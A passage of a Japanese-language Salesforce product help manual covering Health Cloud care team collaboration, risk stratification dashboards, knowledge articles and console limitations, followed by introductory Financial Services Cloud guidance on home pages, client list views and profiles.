コミュニティのメンバーにはサムネイル画像にチェックマークが付けられ、コミュニティに参加していないメ
ンバーにはチェックマークがありません。患者の右側の内部メンバーは、Health Cloud にアクセスできる社内の
メンバーです。患者の左側の外部メンバーは、他の会社または代理店に勤めるケア担当者や医療従事者など社
外のメンバーです。
ケアチームビューでケアチームメンバーのプロファイル画像をクリックすると、そのメンバーとやりとりでき
るクイックビューオプションが表示されます。メンバーのプロファイルから次の操作を実行できます。
• メンバーのメールアドレスの表示。メンバーのプロファイルにはメールアドレスが表示されるため、コミュ

ニティにアクセスできない外部メンバーにも外部メールアプリケーションを使用して連絡できます。
• メンバーのレコードの編集。チームの各メンバーの元のレコードを編集できます。メンバーが内部ユーザ

または患者のコミュニティのメンバーである場合、そのメンバーのユーザレコードを表示して編集できま
す。患者がコミュニティにアクセスできない外部メンバーである場合、連絡先レコードを表示できます。

• コミュニティへのメンバーの追加。ケアチームメンバーがまだコミュニティのメンバーでない場合、この
リンクを選択してそのメンバーを患者のコミュニティに追加できます。コミュニティのログイン情報が含
まれたメール通知が送信されるため、連絡先レコードにメールアドレスが含まれていることを確認してく
ださい。内部ユーザは常にコミュニティにアクセスできます。
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• 非公開メッセージの送信。患者のコミュニティに参加しているケアチームメンバーに非公開 Chatter メッセー
ジを送信できます。非公開メッセージを送信できることを示すため、コミュニティのメンバーにはサムネ
イル画像にチェックマークが付けられます。
Chatter メッセージを使用すると、他の Chatter ユーザと安全に非公開の会話を行うことができます。メッセー
ジは、患者に非公開の質問を送信する場合や、すべてのメンバーには関係しない議論を特定のケアチーム
メンバーとやりとりする場合に使用します。メッセージが、フィード、プロファイル、グローバル検索結
果、またはその他の Chatter の公開部分に表示されることはありません。

• メンバーの ToDo の作成。一緒に仕事をしているメンバーがコミュニティに参加している場合、そのメン
バーのホームページに表示される ToDo を作成できます。

• メンバーの削除。患者が医師を変更したり、特定の家族がケアチームに関与しなくなった場合、メンバー
をチームおよび患者のコミュニティから削除できます。メンバーを削除する前に、そのメンバーに未完了
の ToDo がないことを確認してください。ToDo を追跡できなくなることを回避するため、それらの ToDo を
別のメンバーに再割り当てすることをお勧めします。

メモ: これは、呼吸療法士などが複数のケアチームのメンバーになっている可能性があり、そのメン
バーが特定のケアチームから削除されても引き続きコミュニティにアクセスできるようにする場合が
あるためです。

ケアチームへのメンバーの追加
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ケアチームのメンバーを
追加する
• 「Health Cloud 標準」

さまざまな役割のユーザをケアチームに迅速かつ簡単に追加できます。組織の
業務に従事するユーザは内部メンバーとみなされ、患者についてより多くの情
報にアクセスできます。家族や外部の業者などの外部メンバーは、システム管
理者が設定した共有ルールに基づいて患者の情報へのアクセスが制限されます。
追加するメンバーの名前を検索するときは、ページの中央にある [内部] タブと
[外部] タブの両方を確認します。追加する名前が、現在表示されていない方のタ
ブに存在する場合があります。結果にメンバーが表示されない場合は、その場
で外部メンバーを作成して、Health Cloud に追加できます。

1. [ケアチームのメンバーを追加] をクリックします。
2. メンバーの名前を入力して、[検索] アイコン をクリックします。

メモ:  [内部] タブと [外部] タブの両方で結果を確認します。[外部] タブには、メンバーの名前、メン
バーが取引先責任者の場合は関連取引先、およびメンバーにユーザレコードがあるかどうかが表示さ
れます。
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3. メンバーの名前が見つからない場合は、[外部メンバーを作成] をクリックして、新しい外部メンバーをケ
アチームに追加します。

a. メンバーの名前と連絡先情報を入力します。

メモ: 新しい外部メンバーをコミュニティに追加する場合は必ずそのメンバーの一意のメールアド
レスを入力します。コミュニティメンバー同士がメールアドレスを共有することはできません。

b. [保存] をクリックします。

4. ケアチームにおけるメンバーの役割を選択します。
5. このメンバーに患者コミュニティへのアクセス権を付与するには、[メンバーをコミュニティに追加] を選

択します。コミュニティへのアクセス権のないメンバーは、Chatter を使用して患者のケアでコラボレーショ
ンすることができません。

6. [追加] をクリックします。
7. [更新] ボタン をクリックしてケアチームを更新し、新たに追加されたメンバーを表示します。

[Chatter フィード] を使用したケアチームとのコラボレーション
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

[コラボレーション] タブの [Chatter フィード] には、ケアチームコミュニティメン
バーとのすべての会話およびケアプランに関する活動が表示されます。
[コラボレーション] タブの [Chatter フィード] は、[Today] ページの [最新情報] フィー
ドよりも焦点が絞られています。[Chatter フィード] には、あなたと他のユーザが
行った投稿およびコメントと、ケアプランに関連するレコード更新が表示され
ます。ケアチームから送信された非公開メッセージが、フィード、プロファイ
ル、グローバル検索結果、またはその他の Chatter の公開部分に表示されること
はありません。
このフィードはケアチームコミュニティのみに公開され、コミュニティへのア
クセス権があるメンバーによる投稿のみが表示されます。ケアチームによる投
稿は [Today] ページの [最新情報] フィードに表示されますが、あなたの会社また
はケアチームコミュニティのメンバーでないユーザには表示されません。
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@ 文字を使用してメンバーにメンションすると、投稿でメンションされたことを知らせるメール通知がそのメ
ンバーに送信されます。社内ケアチームメンバーのみに投稿して利用者を選択するか、コミュニティにアクセ
スできるすべてのメンバーによる投稿の表示を許可します。

投稿を追跡するには、投稿またはコメントの下の [いいね!] をクリックします。アンケートの作成、他の人
への感謝、Web サイトへのリンク、システム管理者が設定したその他のオプションの選択なども実行できま
す。
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ケアチームメンバーへの非公開メッセージの送信
エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

非公開メッセージを作成
または送信する
• 「Health Cloud 標準」

Chatter メッセージを使用すると、ケアチームのメンバーである他の Chatter ユー
ザと安全に非公開の会話を行うことができます。メッセージを使用すると、ファ
イルを共有したときに共有先のユーザに通知できます。メッセージが、フィー
ド、プロファイル、グローバル検索結果、またはその他の Chatter の公開部分に
表示されることはありません。

メモ: Salesforce Communities は Health Cloud のコラボレーションサポートを提
供しています。コラボレーション機能の一部は、Salesforce Communities を有
効にして非公開の患者コミュニティを作成しなければ使用できません。

メッセージは会話単位にまとめられます。各会話は、参加するユーザの組み合
わせごとに定義されます。たとえば、あなたが Sally Smith にメッセージを送信し
たとします。Sally が返信すると、Sally のメッセージはあなたとの 1 対 1 の会話の
続きとして表示されます。あなたから Sally に送信する新しいメッセージはすべ
て、異なるトピックに関するものでも、同じ会話に追加されます。時間と共に、
Sally とこれまでやりとりしたメッセージがすべて含まれる、詳細な会話履歴が
構築されます。
1. 次のいずれかの場所からメッセージを開始します。

• ケアチームビューで、ケアチームメンバーのプロファイルカードの[非公開メッセージ]をクリックしま
す。

• Chatterの任意の場所でユーザの名前をクリックしてそのユーザのプロファイルを表示し、[メッセージを
送信] をクリックします。

他の人とファイルを共有した場合も、Chatter メッセージが送信されます。ファイルを共有すると、受信者
にメッセージが送信されます。

2. [メッセージを送信] ダイアログボックスでメッセージを開始した場合は、人の名前を受信者リストに追加
できます。[宛先] 項目に名前を入力し、名前をクリックして選択します。追加する名前を入力して、会話
に人を追加します。
会話内またはメールで返信する場合は、会話の参加者を変更できません。

3. メッセージを入力します。メッセージは 10,000 文字以下で入力します。
4. 状況に応じて適切な方法でメッセージを送信します。

• [メッセージを送信] ダイアログボックスで、[送信] をクリックします。
• 会話内で返信する場合は、[返信] (会話に複数の受信者がいる場合は [全員に返信]) をクリックします。
• メールで返信する場合は、使用するメールアプリケーションの [送信] オプションを使用します。

Health Cloud 向け Wave を使用した患者のリスク管理

Health Cloud: Risk Stratification 向け Wave アプリケーションには事前作成済み Wave ダッシュボードがあり、リスク
が高い患者を識別して、その患者を Health Cloud のケア管理プログラムに登録できます。設定可能な患者デー
タのダッシュボードとカスタムグラフを使用して、会社が管理する患者の新しいインサイトを取得できます。
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重要: Health Cloud: Risk Stratification 向け Wave の免責
Health Cloud: Risk Stratification 向け Wave は、患者集団のヘルストレンドに対するインサイトの提供により、お
客様が患者に質の高いケアを提供できるようにすることのみを対象としています。
その他の目的で使用するものではありません。たとえば、Risk Stratification 機能は、Medicare、Medicaid、そ
の他の連邦政府または州政府ヘルスプログラム、または個人向け健康保険会社によるヘルスケア払戻に
関連する目的で使用することはできません。
Health Cloud: Risk Stratification 向け Wave は、HIPAA および他のヘルスプライバシー法に準拠して使用します。
特に、HIPAA にはヘルスケア組織の従業員および契約社員が参照可能な情報を規制する「最低限必要な条
件」が含まれています。これらの個人は、職務を行うために必要な保護対象保険情報 (PHI) の最小限の内
容のみにアクセスする必要があります。
Health Cloud: Risk Stratification 向け Wave では、お客様の組織内のすべての患者に PHI が公開されます。お
客様の会社が取り扱うすべての個人の PHI を知る有効な必要性がある個人のみに、機能へのアクセス権を
付与します。たとえば、すでにすべての個人の PHI を参照可能な病院管理者、またはケアイニシアチブの
品質を担当する人物のみにアクセスを制限します。お客様は、この機能にアクセスできる組織内の個人
を決定し、適切な権限を設定する責任があります。デフォルトでは、Health Cloud ライセンスユーザはこ
の機能を使用できません。

Health Cloud では、CMS Hierarchical Condition Categories (HCC) リスクスコアリングモデルに基づく Wave リスクスコア
リングダッシュボードが提供されるようになりました。CMS HCC モデルは、患者の診断と他の主要な人口統計
情報に基づき、各患者にリスクスコアを割り当てます。このダッシュボードは、臨床管理者や役員などがケア
を受けている患者に影響するトレンドの全体像を把握するために役立ちます。ダッシュボードは、1 つ以上の
レンズでデータに基づいて選ばれたグラフ、総計値、および表のセットです。探索モードでは、データはレン
ズで表示されます。レンズは、データセットのデータの表示方法であり、データをグラフィカルに探索する場
所であり、ダッシュボードを作成するための基礎でもあります。アプリケーションへのアクセス権があるユー
ザは、レンズに検索条件を適用し、最も関連性の高いデータのサブセットに焦点を絞ることができます。たと
えば、検索条件で視覚化を特定のカレンダー年または患者集団に制限できます。

Health Cloud: Risk Stratification 向け Wave アプリケーションには、管理する患者の全体的な健康状態に対する重要な
インサイトが提供されるグラフとリストが付属しています。
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• Risk Score (リスクスコア) (1): 評価されている患者数と各リスク群カテゴリの患者数。
• Risk Score Trends (リスクスコアトレンド) (2): プログラム内の患者数とカレンダー年の平均リスクスコアの前

年の数との比較。
• Age Group (年齢グループ) (3): 各年齢グループの対象患者数。
• Age Group Trends (年齢グループトレンド) (4): 指定されたカレンダー年とその前年のプログラム内の男性およ

び女性の対象患者数。
• Patient Distribution by Number of Conditions (疾患数別の患者分布) (5): 1 つ以上の疾患を持つ患者数。
• Patient Distribution Trends (患者分布トレンド) (6): 1 つ以上の疾患を持つ患者数の前年の数との比較。
• Enrollment Type (登録タイプ) (7): 各プログタムタイプに登録している患者数。
• Enrollment Type Trends (登録タイプトレンド) (8): 各プログラムタイプに登録している患者数の前年の数との

比較。
• Patient Details (患者の詳細) (9): リスクスコア、疾患、Hierarchical Condition Categories (HCC) コードなどが関連付

けられた患者のリスト。ユーザが患者リストの CSV ファイルをダウンロードできる権限を付与できます。
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このリストは、リスクの高い患者をケア管理プログラムに割り当てて Health Cloud で管理するために使用で
きます。

ウィジェット内の要素をクリックすると、ダッシュボード全体の表示も変更される場合があります。たとえ
ば、疾患数に基づいて年齢グループと患者分布を表示するダッシュボードのセクションは次のようになりま
す。

60 ～ 64 才の年齢グループの患者を選択すると、図とグラフはそのレンズを反映して変更されます。

絞り込まれた情報は、患者の詳細リストにも反映されます。患者リストは、すべての患者の情報を表示する権
限を持つ他のユーザと共有できます。

7111

Health Cloud 向け Wave を使用した患者のリスク管理Health Cloud を使用した患者ケアでのコラボレーション
と連携



ヒント: 初めて Wave を使用する場合は、詳細を「Wave Analytics ライブラリ」で確認してください。
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プロトコルと記事を使用した学習の促進

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

記事を作成する
• 「記事の管理」

および

記事タイプに対する
「作成」および「参
照」

ドラフト記事を編集する
• 「記事の管理」

および

記事タイプに対する
「参照」および「編
集」

公開記事またはアーカイ
ブ済み記事を編集する
• 「記事の管理」

および

記事タイプに対する
「作成」、「参照」、
および「編集」

Salesforce ナレッジでは、コンテンツを簡単に作成および管理して、他のヘルス
ケア従事者、あるいは患者やケアチームのメンバーが使用できるようにします。
記事には、疾患の管理に使用するプロトコルを含めたり、患者に送信する教育
資料を掲載したりできます。[記事の管理] タブでは記事の記述、編集、公開、
アーカイブを行い、[記事] タブでは公開記事を検索および表示します。
著者が記事を作成する場合、記事タイプを選択して、コンテンツを記述し、公
開する場所を選択します。記事とプロトコルのどちらも [記事の管理] タブから
作成できますが、作成するコンテンツに応じて異なる記事タイプを選択します。

メモ: 組織の中には、患者やケアコーディネータ向けの記事やプロトコル
を作成するためのライセンスの種類や権限を持っていないユーザがいる場
合があります。[記事の管理] タブへのアクセスについては、Salesforceシステ
ム管理者にお問い合わせください。[記事の管理] タブをユーザのプロファ
イルに表示することもできます。

1. [記事の管理] タブで、[新規] をクリックします。
2. 組織が複数の言語をサポートしている場合は、記事の言語を選択します。
3. 記事タイプを選択して記事タイトルを入力し、[OK] をクリックします。
4. 記事の項目を編集して、検証状況を選択します。記事にリッチテキストエリ

ア項目がある場合は、箇条書き、リンク、画像などの書式設定を追加できま
す。

5. 組織でデータカテゴリを使用している場合は、必要に応じて記事に関連付け
るカテゴリを選択します。
• カテゴリグループの横にある [編集] をクリックして、カテゴリ選択ダイ

アログボックスを開きます。
• [選択可能なカテゴリ] リストで、カテゴリ階層を展開してカテゴリを選

択します。
• [追加] をクリックして、選択したカテゴリを [選択済みカテゴリ] リスト

に移動します。

メモ: カテゴリとその子カテゴリの両方を [選択済みカテゴリ] リス
トに追加することはできません。カテゴリを記事に追加する場合は、
次のことに注意してください。
– [選択可能なカテゴリ] リストの子カテゴリは、[選択済みカテゴ

リ] リストからその親を削除しない限り選択できません。
– [選択済みカテゴリ]リストの子カテゴリはリストに表示されませ

ん。
ユーザは、完全に一致するカテゴリを選択するか、親カテゴリまた
は子カテゴリを選択することで記事を検索できます。

• [OK] をクリックします。
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6. 記事を公開する対象利用者を選択します。
• 内部アプリケーション: Salesforceのコミュニティユーザが、ロールの表示設定に応じて [記事] タブで記事

にアクセスできます。
• カスタマー: コミュニティで [記事] タブが使用可能な場合、顧客が記事にアクセスできます。カスタマー

ユーザは、取引先のマネージャのロール表示設定を継承します。コミュニティでは、カスタマーコミュ
ニティまたはカスタマーコミュニティプラスライセンスを持つユーザのみが記事を使用できます。

• パートナー: コミュニティで [記事] タブが使用可能な場合、パートナーが記事にアクセスできます。パー
トナーユーザは、取引先のマネージャのロール表示設定を継承します。コミュニティでは、パートナコ
ミュニティライセンスを持つユーザのみが記事を使用できます。

• 公開知識ベース: AppExchange から Salesforce ナレッジのサンプル公開知識ベースアプリケーションを使用
して公開知識ベースを作成すると、匿名ユーザに記事を公開できます。

• 自分の Web サイト: 会社の Web サイト経由でユーザが記事を使用できます。

7. [適用]をクリックして変更を保存し、このページを開いたままにします。または、[保存]をクリックして変
更を保存し、記事を閉じて [記事の管理] タブに移動します。

8. コンテンツを公開する準備ができたら、[Publish...] をクリックします。
9. [今すぐ記事を公開]または [公開をスケジュールする日]を選択して、記事を公開する日付を選択します。
10. その記事が以前公開されていた場合、[新規バージョンとしてフラグ] チェックボックスをオンにし、選択

したチャネルの記事の横に新規記事アイコン ( ) を表示させます。このチャネルのユーザは、この記事を
最後に参照してから変更されていることを確認できます。新規記事にはデフォルトで新規記事アイコンが
表示されるため、このチェックボックスは、記事を初めて公開する場合は使用できません。

11. [OK] をクリックします。
後日公開するようにスケジュールした記事は、引き続き [ドラフト記事] 検索条件に表示されますが、記事
タイトルの横に待機中アイコン ( ) が追加されます。アイコンの上にカーソルを置くと、公開日が表示さ
れます。

関連トピック:

記事の作成と編集

Health Cloud コンソールのキーボードショートカット

エディション

Health Cloud を使用可能な
インターフェース:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

キーボードショートカットにより、マウスを使用する代わりにキーを押してア
クションをすばやく実行できます。
次のショートカットはケアコンソールで使用でき、システム管理者がカスタマ
イズしたり無効にしたりできます。

キー説明コマンド

Escコンソールを表示しているブラウザで
キーボードショートカットを有効にし
ます。

キーボードショー
トカットモードの
入力
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キー説明コマンド

SHIFT + 左矢印左サイドバーとそのコンポーネントの表示を切り替え
ます。

左サイドバーの表示/非
表示を切り替える

SHIFT + 右矢印右サイドバーとそのコンポーネントの表示を切り替え
ます。

右サイドバーの表示/非
表示を切り替える

下矢印カーソルを下に移動します。下に移動

上矢印カーソルを上に移動します。上に移動

SHIFT + 上矢印上サイドバーとそのコンポーネントの表示を切り替え
ます。

上サイドバーの表示/非
表示を切り替える

SHIFT + 下矢印下サイドバーとそのコンポーネントの表示を切り替え
ます。

下サイドバーの表示/非
表示を切り替える

D他のアクションを選択するためにタブのドロップダウ
ンボタンを開きます。

タブのドロップダウンボ
タンを開く

T新しいタブを開きます。タブを開く
Zヘッダー、フッター、および固定表示リストの表示を

切り替えて、主タブをズームイン/ズームアウトしま
す。

主タブをズームイン/

ズームアウトする

C選択されたタブを閉じます。タブを閉じる

Health Cloud の制限事項

エディション

Health Cloud を使用可能な
エディション: Salesforce
Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Health Cloudの表示、アクセス、およびカスタマイズの制限について説明します。
表示の制限事項

Health Cloud は、Microsoft® Internet Explorer® 10 または 11、Microsoft® Edge、Mozilla®

Firefox®の最新の安定したバージョン、Apple® Safari®の最新の安定したバージョ
ン、Google Chrome™ の最新の安定したバージョンでのみ使用できます。

ヒント: 最高のパフォーマンスを得るために、コンソールユーザが Google

Chrome™ ブラウザと RAM が 8 GB のマシンを採用することをお勧めしま
す。

プラットフォームの暗号化の制限事項
暗号化項目は、検索条件や並び替え条件として使用できません。
暗号化データはマスクされず、Health Cloud ユーザに表示されます。オブジェクトレベルセキュリティと項
目レベルセキュリティを使用して、機密データの表示を制限することをお勧めします。
イベント監視では、[Today] ページ、[患者リスト] ページ、[患者候補] ページにどの患者が表示されるかを記
録しません。また、ユーザがこれらのページにアクセスしたことを記録しますが、これらのページに表示
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される内容の詳細は記録しません。ただし、ユーザが Health Cloud Console に表示する患者を選択したとき
に、その患者の ID を記録します。

動作とアクセスの制限事項
Health Cloud は、アクセシビリティ要件を満たしません。
ToDo をケアプランに追加しても、[タイムライン] を更新するまで [タイムライン] に表示されません。[タイ
ムライン] を更新するには、[患者カード] タブスイッチャから [タイムライン] を選択します。
ToDo をケアプランに追加すると、[Today] を更新するまで [Today] ページに表示されません。[Today] ページを
更新するには、ブラウザを更新します。
暗号化項目に基づいてリスト内の列を並べ替えることはできません。
リストビューページには、ページあたり最大 500 人の患者が表示されます。並び替えや検索機能は、患者
リストの単一のページ内のデータに適用されます。
患者リストの作成時、ロングテキスト項目 (説明項目など) や [住所] 項目は検索条件としてサポートされま
せん。住所で絞り込む場合は、[町名・番地] 項目などのサブ項目を使用します。

ローカライズの制限事項
患者リストの列名はローカライズされず、作成時に使用した言語で表示されます。つまり、列名の表示ラ
ベルが英語組織で作成された場合は、その言語でのみ表示されます。
ユーザが患者リストを編集できるのは、言語およびロケールがそのリストが作成された組織と同じ場合の
みです。ユーザが自身の言語とは異なる言語で作成されたリストを編集すると、エラーが表示されます。
配信済みの [すべての患者] リストは英語のみで表示されます。
[レコードタイプの説明] 項目は翻訳できません。
[患者カード] メニューの [カテゴリ] 項目および [サブカテゴリ] 項目は、トランスレーションワークベンチを
使用してローカライズできません。表示ラベルを別の言語で表示するには、配信済みの項目設定レコード
を無効化または削除してから、その組織の言語で別の項目レコードを作成します。
[タイムライン] および [患者カード] で表示ラベルとして使用する [フレンドリ名] 項目は、トランスレーショ
ンワークベンチを使用してローカライズできません。表示ラベルを別の言語で表示するには、その組織の
言語で別の項目レコードを作成し、その言語項目を新しい表示ラベルの言語に設定します。
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Financial Services Cloud へようこそ

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

Financial Services Cloudへようこそ。Financial Services Cloud は、クライアントとの緊密
な関係の管理を目的としたプラットフォームです。

クライアントとの緊密な関係を目的としたプラットフォームでの Financial

Services の提供
Financial Services Cloud は、新しい概念の顧客窓口です。1 日の間に多数のシス
テムにログインすることなく、最も関連性の高いアクションの実行が可能な
クライアント情報が、見やすい集計ビューで表示されます。テクノロジおよ
びデジタルワークフローによって生産性が向上し、日常的な管理タスクに費やす時間が短縮されます。代
わりに、クライアントが期待する高度にパーソナライズされたプロアクティブなサービスの提供に集中で
きるようになります。
主要な用語
用語によっては、金融サービスのコンテキスト内で複数の意味を持つ場合があります。アプリケーション
で取引先やクライアントのような用語が出現したら、その意味を明確にすることが重要です。
クライアント、世帯、リレーションの設定
クライアント、世帯、リレーションの拡張ネットワークのレコードを作成し、クライアントリストに総合
的かつ豊富な内容が表示されるよう維持します。
財務データの入力
クライアントの金融口座、基礎となる保有株、資産、負債、財務目標のレコードを作成します。
ウォレットシェア商談の作成
金融口座に関連する商談レコードを作成し、ウォレットシェア商談を追跡します。
リードの作成
リードレコードを作成して見込み客を追跡します。
クライアントへのリードの変換
リードレコードをクライアントレコードに変換します。
金融口座からのケースの作成
金融口座のページまたはクライアントのプロファイルページから関連ケースを参照できるように、クライ
アントの金融口座のケースを作成します。
クライアントデータの操作
クライアントのインタラクションの詳細を追跡し、豊富な履歴を展開して関係の構築を促します。
追加設定: 実装のカスタマイズ
さらに細かく制御する場合、Financial Services Cloud で次のタスクを実行します。
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クライアントとの緊密な関係を目的としたプラットフォームでの
Financial Services の提供

エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

Financial Services Cloudは、新しい概念の顧客窓口です。1 日の間に多数のシステム
にログインすることなく、最も関連性の高いアクションの実行が可能なクライ
アント情報が、見やすい集計ビューで表示されます。テクノロジおよびデジタ
ルワークフローによって生産性が向上し、日常的な管理タスクに費やす時間が
短縮されます。代わりに、クライアントが期待する高度にパーソナライズされ
たプロアクティブなサービスの提供に集中できるようになります。
エンゲージメントを強化し、より有益なクライアントとアドバイザーの関係を
築くことができる基本的なクライアント管理を開始できます。

Lightning Experience での新しい作業方法
Financial Services Cloud の機能は、Lightning Experience でのみ使用できます。ユーザの作業ニーズに対応し、ク
ライアントの現状に関する詳細が確認できるため、Salesforce Classic とは異なります。
その日の業務の確認に [ホーム] を活用
[ホーム] ページでは、ToDo リストにある最も急を要する項目にすぐにアクセスできます。その日の優先度
はどうなっていますか。次は何をすべきですか。どのような作業が残っていますか。[アシスタント] では、
新しく割り当てられたリードや注意が必要な商談についてアラートが表示されるため、その日の生産性を
可能な限り高めることができます。
[クライアント] および [世帯] リストビューの参照
クライアントおよび世帯プロファイルにすばやく移動するには、[クライアント] および [世帯] リストビュー
を参照します。類似する関心または財政的特徴に基づき、クライアントと世帯の条件設定済みリストを表
示できます。
クライアントおよび世帯プロファイル
プロファイルには、クライアントまたは世帯の財務に対する過去、現在、将来の豊富な全体像が表示され
ます。1 つのビューで、金融口座の監視、個人と世帯のリレーションの視覚化、目標の管理、活動履歴の確
認を行うことができます。
ダッシュボードを使用したクライアントリストの監視
ダッシュボードを使用すると、既存のクライアントとのやりとりや今後ビジネスが増加する可能性を一目
で確認できます。
Wave for Financial Services Cloud

Wave for Financial Services Cloudアプリケーションは、Financial Services Cloudの埋め込み Wave ダッシュボードを使
用できます。設定可能なクライアントデータのダッシュボードとカスタムグラフを使用して、クライアン
トリストの新しいインサイトを取得できます。
どのようなクライアントデータを表示できますか?

Salesforce のセキュリティおよび共有モデルは、クライアントデータへの柔軟で適切なアクセスレベルを保
証します。アドバイザリチーム用に定義されているデータ表示の詳細は、システム管理者にお問い合わせ
ください。

7118

クライアントとの緊密な関係を目的としたプラット
フォームでの Financial Services の提供

Financial Services Cloud へようこそ



Lightning Experience での新しい作業方法
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

Financial Services Cloud の機能は、Lightning Experience でのみ使用できます。ユーザ
の作業ニーズに対応し、クライアントの現状に関する詳細が確認できるため、
Salesforce Classic とは異なります。

ヒント: Lightning Experience を使用するのは初めての場合、ヘルプトピック
「Lightning Experience の操作方法」を検索してすばやく操作を開始してくだ
さい。

その日の業務の確認に [ホーム] を活用
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

[ホーム] ページでは、ToDo リストにある最も急を要する項目にすぐにアクセス
できます。その日の優先度はどうなっていますか。次は何をすべきですか。ど
のような作業が残っていますか。[アシスタント] では、新しく割り当てられた
リードや注意が必要な商談についてアラートが表示されるため、その日の生産
性を可能な限り高めることができます。

• ダッシュボード (1) には、四半期の商談の状況が表示されます。
• [アシスタント] (2) にはその日に割り当てられたリード、および注意が必要な商談についてのアラートが表

示されるため、積極的に行動できます。
• [ToDo] コンポーネントには、今後の ToDo が表示されます。直接このページから「完了」とマークできます。

ページを離れない限り、いつでも完了した ToDo を再度開くことができます。ページを更新すると、完了し
た ToDo はビューから削除されます。

• [今後の行動] には、カレンダーで本日これから予定されている項目が 5 つ表示されます。過去の行動は、時
間の経過に沿って削除されます。

• [誕生日] には、今後 7 日以内に誕生日を迎えるクライアントが表示されます。
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• [近日中の RMD] には、90 日後に 70 歳と 6 か月になり、最低引出義務 (RMD) に従って引き出す必要があるクラ
イアントが表示されます。RMD 年齢は設定できません。プライバシー上の理由により、クライアントが RMD

年齢に近づいているかどうかを確認できるのはクライアントレコードの所有者のみです。
• [商談] および [リード] コンポーネントでは、クライアントリストを強化して増やす方法を追跡できます。

[クライアント] および [世帯] リストビューの参照
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

クライアントおよび世帯プロファイルにすばやく移動するには、[クライアント]

および [世帯] リストビューを参照します。類似する関心または財政的特徴に基
づき、クライアントと世帯の条件設定済みリストを表示できます。
これらのリストビューには、自分が担当するクライアント、見込み客、および
世帯が表示されます。
• システム管理者によって有効化されたリストビューを表示するには、ページ

の上部にあるリストビュー名を選択します。

ヒント:  [私のクライアント] および [私のグループ] リストビューにはク
ライアントリスト内のすべてのクライアントおよび世帯が表示されるた
め、開始点として最適です。これらのリストビューには、[取引先] タブ
の情報が表示されます。

• 並び替えるには、列ヘッダーをクリックします。
• [私のクライアント] または [私のグループ] のビューを動的に更新するには、検索条件を変更し、マーケティ

ングセグメント、年齢、誕生日などの条件でクライアントを分類します。
1. 絞り込むことができる条件のリストを拡張するには、[検索条件] アイコンを選択します。
2. 変更する検索条件ごとに条件を選択して編集し、[完了] を選択します。

重要: 通貨の値で絞り込む場合は、値の前に ISO 通貨コード (USD、GBP など) を指定します。たとえ
ば、「GBP100000」のようになります。ISO コードは、会社で有効になっている通貨のいずれかで
ある必要があります。

3. [適用] を選択します。
更新された検索条件でリストビューが更新されます。

現時点では、編集したリストビューへの変更は保存できません。
• 1 ページあたりの表示レコード数は最大で 25 件、リストビューあたりの表示項目数は最大で約 2,000 件で

す。
リストビューに最大数を超える項目数があるために一部の項目にアクセスできない場合は、検索条件を絞
り込んでその他の項目にアクセスできるようにします。
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クライアントおよび世帯プロファイル
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

プロファイルには、クライアントまたは世帯の財務に対する過去、現在、将来
の豊富な全体像が表示されます。1 つのビューで、金融口座の監視、個人と世帯
のリレーションの視覚化、目標の管理、活動履歴の確認を行うことができます。
強調表示パネル

前回および次回のスケジュールされたインタラクションを一目で確認できま
す。

[詳細] タブ
プロファイルページを離れることなく、詳細にすばやくアクセスできます。
プロファイルページのすべてのタブの表示は似ていますが、クライアントプロファイルと世帯プロファイ
ルでは若干異なります。クライアントの場合、クライアント掌握情報、雇用、および取引先責任者情報の
概要が表示されます。世帯の場合、すべての金融資産の高度な概要が表示されます。[詳細] の情報を編集
するには、強調表示パネルの [編集] ボタンを使用します。

[財務] タブ
投資口座、銀行口座、および保険証券の定義済みカテゴリによって金融口座を追跡します。また、資産と
負債も追跡できます。

[リレーション] タブ
世帯の個人が関与するリレーションのネットワークを管理します。新しい世帯メンバーを追加します。世
帯以外の個人を関連取引先責任者として追加します。世帯の場合、他の世帯またはビジネスエンティティ
を関連取引先として追加できます。関連付けられた取引先責任者および取引先を編集または削除できます。

[目標] タブ
目標に基づく計画でクライアントにとって重要な内容を追跡します。

[関連] タブ
金融口座、有形資産、負債、および商談、ケース、メモと添付などの関連リストの包括的な概要が表示さ
れます。このビューは、オンボーディングで一連の金融口座、目標、商談、リレーションをすばやく入力
するときに便利です。

コンポーザ
ToDo と行動を作成し、クライアントのコミュニケーションをログに記録します。Chatter フィードを使用し
て情報を共有し、クライアントのリレーションを管理する他のチームメンバーとコラボレーションします。

ここに表示される内容は元の項目、項目名、項目の順序とは異なる場合があります。安心してください。その
場合は単にシステム管理者がカスタマイズしているだけです。プロファイルページ内のセクションのレイアウ
トは変更できません。
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ダッシュボードを使用したクライアントリストの監視
エディション

Lightning Experience で有料
オプションで使用可能な
エディション: Professional
Editions、Enterprise
Editions、Unlimited Edition

ダッシュボードを使用すると、既存のクライアントとのやりとりや今後ビジネ
スが増加する可能性を一目で確認できます。
1. ナビゲーションメニューで、ダッシュボードリストビューに移動します。
2. [公開ダッシュボード] フォルダで [私のクライアントリスト] ダッシュボード

を探します。
• 私のクライアントリスト - 概要 — 既存のクライアントリストをクライア

ント別の AUM、ウォレットシェア、金融口座合計に関するインサイトを
使用して管理します。

• 私のクライアントリスト - エンゲージメント機会 - 次回のクライアントレビュー、誕生日、その他のリ
レーションタッチポイントを追跡することで顧客との関係を深めます。

